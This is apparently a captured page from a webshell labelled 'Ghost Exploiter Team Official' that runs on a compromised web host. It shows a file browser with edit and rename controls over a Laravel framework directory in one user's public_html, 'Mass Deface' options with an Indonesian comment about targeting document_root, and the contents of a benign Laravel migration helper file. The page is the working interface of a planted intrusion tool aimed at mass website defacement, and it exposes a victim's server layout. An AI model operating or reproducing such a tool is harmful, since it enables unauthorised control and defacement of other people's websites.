webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Database
/
Console
/
Migrations
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
BaseCommand.php
1.416KB
edt
ren
FreshCommand.php
3.699KB
edt
ren
InstallCommand.php
1.551KB
edt
ren
MigrateCommand.php
9.267KB
edt
ren
MigrateMakeCommand.php
4.372KB
edt
ren
RefreshCommand.php
4.797KB
edt
ren
ResetCommand.php
2.488KB
edt
ren
RollbackCommand.php
2.509KB
edt
ren
StatusCommand.php
4.038KB
edt
ren
TableGuesser.php
0.886KB
edt
ren
<?php namespace Illuminate\Database\Console\Migrations; class TableGuesser { const CREATE_PATTERNS = [ '/^create_(\w+)_table$/', '/^create_(\w+)$/', ]; const CHANGE_PATTERNS = [ '/.+_(to|from|in)_(\w+)_table$/', '/.+_(to|from|in)_(\w+)$/', ]; /** * Attempt to guess the table name and "creation" status of the given migration. * * @param string $migration * @return array */ public static function guess($migration) { foreach (self::CREATE_PATTERNS as $pattern) { if (preg_match($pattern, $migration, $matches)) { return [$matches[1], $create = true]; } } foreach (self::CHANGE_PATTERNS as $pattern) { if (preg_match($pattern, $migration, $matches)) { return [$matches[2], $create = false]; } } } }
<=Back
Liking